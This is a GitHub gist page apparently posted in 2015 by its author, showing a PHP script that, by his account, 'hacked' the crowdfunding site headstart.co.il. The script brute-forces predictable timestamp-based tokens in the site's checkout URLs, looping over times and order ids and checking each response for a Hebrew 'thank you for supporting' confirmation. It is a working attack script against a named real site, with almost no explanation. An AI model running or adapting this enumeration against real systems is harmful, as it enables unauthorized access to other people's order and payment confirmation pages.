Skip to content

Instantly share code, notes, and snippets.

@itainathaniel
Created June 28, 2015 19:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save itainathaniel/903546a3fc11ed0848af to your computer and use it in GitHub Desktop.
Save itainathaniel/903546a3fc11ed0848af to your computer and use it in GitHub Desktop.
This is how I "hacked" headstart.co.il
<?php
date_default_timezone_set('Asia/Jerusalem');
$oid = 201901;
$time = mktime(13, 58, 00, 06, 23, 15); // 1435062213
$tk = date('mdHis', $time); // 0623152333;
$url = 'https://www.headstart.co.il/checkout.aspx?oid='.$oid.'&success=true&na=1&tk='.$tk;
for ($i=0; $i<120; $i++,$time--) {
// $oid = $oid - 1;
$tk = date('mdHis', $time);
$url = 'https://www.headstart.co.il/checkout.aspx?oid='.$oid.'&success=true&na=1&tk='.$tk;
$site = file_get_contents($url);
preg_match_all('/תודה שתמכת/', $site, $matches);
// if (isset($matches[0][0])) {
echo '<div style="border-bottom:1px solid #c9c9c9;margin-bottom:25px;">';
if (isset($matches[0][0])) {
echo '<p><a href="'.$url.'">'.$url.'</a></p>';
// echo '<p>yes!</p>';
$oid--;
} else {
echo '<p>Searching $oid='.$oid.' with $tk='.$tk.' ($time='.$time.')</p>';
}
// echo '<textarea cols="100" rows="10">'.$site.'</textarea>';
echo '</div>';
// }
}
echo '-- zehoo';
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment